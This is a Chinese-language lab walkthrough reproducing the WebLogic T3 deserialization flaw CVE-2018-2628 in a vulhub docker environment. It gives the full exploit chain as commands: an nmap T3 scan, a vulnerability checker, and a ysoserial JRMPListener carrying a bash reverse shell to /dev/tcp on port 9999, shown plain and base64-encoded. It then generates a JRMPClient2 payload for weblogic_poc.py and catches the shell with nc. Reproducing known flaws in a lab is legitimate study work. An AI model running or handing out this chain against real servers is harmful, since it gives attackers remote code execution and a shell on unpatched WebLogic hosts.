测试机:MacBook-Air
测试机IP:192.168.0.100
靶机IP:192.168.0.100:7001
环境: docker
工具:CVE-2018-2628漏洞利用工具包 下载
一. 环境搭建
将环境vulhub的环境git到本地
git clone https://github.com/vulhub/vulhub.git
接着 cd weblogic/CVE-2018-2628
docker-compose up -d
启动后访问页面192.168.0.100:7001
出现这个页面说明已经成功了
二. 漏洞测试
使用nmap进行扫描
nmap -n -v -p7001,7002 192.168.0.100 --script=weblogic-t3-info
结果显示开启了T3协议
修改url.txt 将里面的IP 改成目标IP
python CVE-2018-2628-MultiThreading.py
出现 is vul CVE-2018-2628 说明漏洞存在
三. 漏洞复现
启动JRMP Server:
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener [listen port] Jdk7u21 [command]
[command] : 需要执行的命令
[listen port] : JRMP Server监听的端口。
这里我们反弹shell
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -i >& /dev/tcp/192.168.0.100/9999 0>&1'
此处特别注意!!!
由于 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法,我们需要进行一次编码。
转化工具链接 : http://www.jackson-t.ca/runtime-exec-payloads.html
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAwLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'
运行命令
出现 * opening JRMP listener on 8888
说明JRMP Server正在监听8888端口
执行
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.0.100:8888 | xxd -p | tr -d $'\n' && echo
复制结果
将weblogic_poc.py 中的 PYLOAD进行替换
并将此处IP改为目标 IP
使用 nc 进行监听本地的9999端口
执行
python weblogic_poc.py
可以看见反弹shell成功了
执行命令试试
搞定~
参考链接
http://www.jackson-t.ca/runtime-exec-payloads.html
https://www.jianshu.com/p/6649118ba7b6
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2628
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。